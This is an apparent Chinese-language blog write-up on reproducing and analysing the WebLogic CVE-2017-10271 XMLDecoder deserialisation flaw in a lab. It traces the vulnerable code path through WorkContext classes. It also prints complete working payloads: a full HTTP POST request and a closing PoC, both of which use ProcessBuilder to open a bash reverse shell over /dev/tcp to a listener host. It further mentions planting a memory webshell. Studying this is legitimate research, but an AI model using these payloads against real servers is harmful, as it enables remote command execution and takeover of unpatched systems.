Weblogic反序列化漏洞(CVE-2017-10271)
2022-08-03 03:37:36

# 复现

[参考](weblogic 漏洞分析之 CVE-2017-10271 - 先知社区 (aliyun.com))

vulhub 一键部署

img

远程调试没问题

# 反弹 shell

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.30.140:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
Content-Length: 642

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.30.128/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

img

这里是用工具写入内存马再去连接的,冰蝎 4.0.1 似乎连不上,因为秘钥是写在代码中的
这里注入内存马是单独设置的密码
还是使用的 3.x 版本去连接的

在这里插入图片描述

在这里插入图片描述

# 漏洞分析

本文的重点还是放在代码上

CVE-2017-10271 漏洞主要是由 WebLogic Server WLS 组件远程命令执行漏洞

http://url:port/wls-wsat/CoordinatorPortType
post 发送数据包
再构造 SOAP(XML) 格式的请求解析过程中触发 XMLDecoder 反序列化漏洞

由于 class 体量太大
这里我就反编译了 weblogic 的 jar
需者自取
提取码:9x8l

wlserver_10.3\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.classprocessRequest 方法

这里的 var1 传入的是 XML 数据
在这里插入图片描述
经过修饰后变成 var3 进入到 readHeaderOld 方法

前面的获取了 POST 数据包中 XML 参数
后面通过 ByteArrayInputStream 将 XML 数据变成字节数组输出流赋值给 var4
在这里插入图片描述

这里如果调试成功的是可以看到 var4 的格式就是 poc 中的 XML 部分

1
2
3
4
5
<java version="1.7.0_80" class="java.beans.XMLDecoder">  
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start"/>
</new>
</java>

var4.toByteArray() :将 var4 的内容转为字节数组,然后传入 ByteArrayInputStream 转化为流。
WorkContextXmlInputAdapter 类,将接受道德输入流再转换成 XMLDecoder
在这里插入图片描述

之后进入执行 receive( ) 函数。
跟进到 WorkContextLocalMap 类下的 receiveRequest 方法

其中调用了 WorkContextEntryImplreadEntry 方法
在这里插入图片描述
最后到 WorkContextXmlInputAdapter 下的 readUTF
在这里插入图片描述

此处调用了 xmlDecoder.readObject

最终执行了执行了 XML 数据中的 ProcessBuilder.start()

# poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.30.129/7890 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>